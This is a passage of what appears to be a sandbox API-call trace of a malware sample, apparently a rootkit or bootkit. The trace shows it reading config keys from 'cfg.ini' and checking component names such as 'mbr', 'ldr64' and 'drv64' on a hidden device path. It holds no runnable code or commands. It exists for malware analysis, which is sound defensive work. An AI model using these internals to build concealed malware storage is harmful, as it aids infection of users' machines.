FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.556] KeLeaveCriticalRegion () [0117.556] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.556] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.556] KeEnterCriticalRegion () [0117.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.556] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.556] KeLeaveCriticalRegion () [0117.556] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.556] KeEnterCriticalRegion () [0117.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.557] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.557] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9a80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.557] KeLeaveCriticalRegion () [0117.557] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.557] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.557] KeEnterCriticalRegion () [0117.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.557] ExFreePoolWithTag (P=0xfffffa80039cf600, Tag=0x0) [0117.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.557] KeLeaveCriticalRegion () [0117.557] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.557] ReleaseMutex (hMutex=0xf0) returned 1 [0117.557] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.557] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.557] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.557] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.557] KeEnterCriticalRegion () [0117.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.557] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.557] IdePortDispatch () returned 0x103 [0117.557] KeWaitForMutexObject () returned 0x0 [0117.557] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.557] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.557] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.557] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.557] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.557] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.557] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.557] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.557] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.557] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.557] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.557] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.557] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.557] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.557] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.558] KeLeaveCriticalRegion () [0117.558] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.558] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.558] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.558] KeEnterCriticalRegion () [0117.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.558] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.558] IdePortDispatch () returned 0x103 [0117.558] KeWaitForMutexObject () returned 0x0 [0117.558] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.558] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.558] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.558] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.558] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.558] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.558] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.558] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.558] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.558] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.558] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.558] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.558] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.558] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.558] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.558] KeLeaveCriticalRegion () [0117.558] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.558] ReleaseMutex (hMutex=0x100) returned 1 [0117.558] Sleep (dwMilliseconds=0x2bf20) [0117.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x694491d0, dwHighDateTime=0x1d24fa4)) [0117.565] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.565] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.565] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.565] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.565] KeEnterCriticalRegion () [0117.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.565] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.565] IdePortDispatch () returned 0x103 [0117.565] KeWaitForMutexObject () returned 0x0 [0117.565] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.565] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.565] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.565] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.565] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.565] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d96c0 [0117.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.565] KeLeaveCriticalRegion () [0117.565] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.565] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.565] KeEnterCriticalRegion () [0117.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.565] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.565] KeLeaveCriticalRegion () [0117.565] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.565] KeEnterCriticalRegion () [0117.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.565] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.565] IdePortDispatch () returned 0x103 [0117.565] KeWaitForMutexObject () returned 0x0 [0117.566] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.566] KeLeaveCriticalRegion () [0117.566] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.566] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.566] KeEnterCriticalRegion () [0117.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.566] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cce000 [0117.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.566] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.566] IdePortDispatch () returned 0x103 [0117.566] KeWaitForMutexObject () returned 0x0 [0117.566] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.566] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.566] IdePortDispatch () returned 0x103 [0117.566] KeWaitForMutexObject () returned 0x0 [0117.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.566] KeLeaveCriticalRegion () [0117.566] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.567] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.567] KeEnterCriticalRegion () [0117.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.567] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.567] KeLeaveCriticalRegion () [0117.567] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.567] KeEnterCriticalRegion () [0117.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.567] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.567] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9a80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.567] KeLeaveCriticalRegion () [0117.567] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.567] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.567] KeEnterCriticalRegion () [0117.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.567] ExFreePoolWithTag (P=0xfffffa80039d96c0, Tag=0x0) [0117.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.567] KeLeaveCriticalRegion () [0117.567] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.567] ReleaseMutex (hMutex=0xf0) returned 1 [0117.567] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.567] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.567] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.567] KeEnterCriticalRegion () [0117.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.568] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.568] IdePortDispatch () returned 0x103 [0117.568] KeWaitForMutexObject () returned 0x0 [0117.568] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.568] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.568] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.568] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.568] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.568] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9770 [0117.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.568] KeLeaveCriticalRegion () [0117.568] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.568] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.568] KeEnterCriticalRegion () [0117.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.568] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.568] KeLeaveCriticalRegion () [0117.568] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.568] KeEnterCriticalRegion () [0117.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.568] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.568] IdePortDispatch () returned 0x103 [0117.568] KeWaitForMutexObject () returned 0x0 [0117.568] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.569] KeLeaveCriticalRegion () [0117.569] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.569] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.569] KeEnterCriticalRegion () [0117.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.569] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccf000 [0117.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.569] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.569] IdePortDispatch () returned 0x103 [0117.569] KeWaitForMutexObject () returned 0x0 [0117.569] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.569] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.569] IdePortDispatch () returned 0x103 [0117.569] KeWaitForMutexObject () returned 0x0 [0117.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.569] KeLeaveCriticalRegion () [0117.569] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.570] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.570] KeEnterCriticalRegion () [0117.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.570] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.570] KeLeaveCriticalRegion () [0117.570] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.570] KeEnterCriticalRegion () [0117.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.570] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.570] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.570] KeLeaveCriticalRegion () [0117.570] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.570] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.570] KeEnterCriticalRegion () [0117.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.570] ExFreePoolWithTag (P=0xfffffa80039d9770, Tag=0x0) [0117.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.570] KeLeaveCriticalRegion () [0117.570] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.570] ReleaseMutex (hMutex=0xf0) returned 1 [0117.570] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.570] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.570] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.570] KeEnterCriticalRegion () [0117.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.571] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.571] IdePortDispatch () returned 0x103 [0117.571] KeWaitForMutexObject () returned 0x0 [0117.571] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.571] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.571] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.571] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.571] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.571] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039dae10 [0117.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.571] KeLeaveCriticalRegion () [0117.571] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.571] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.571] KeEnterCriticalRegion () [0117.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.571] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.571] KeLeaveCriticalRegion () [0117.571] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, 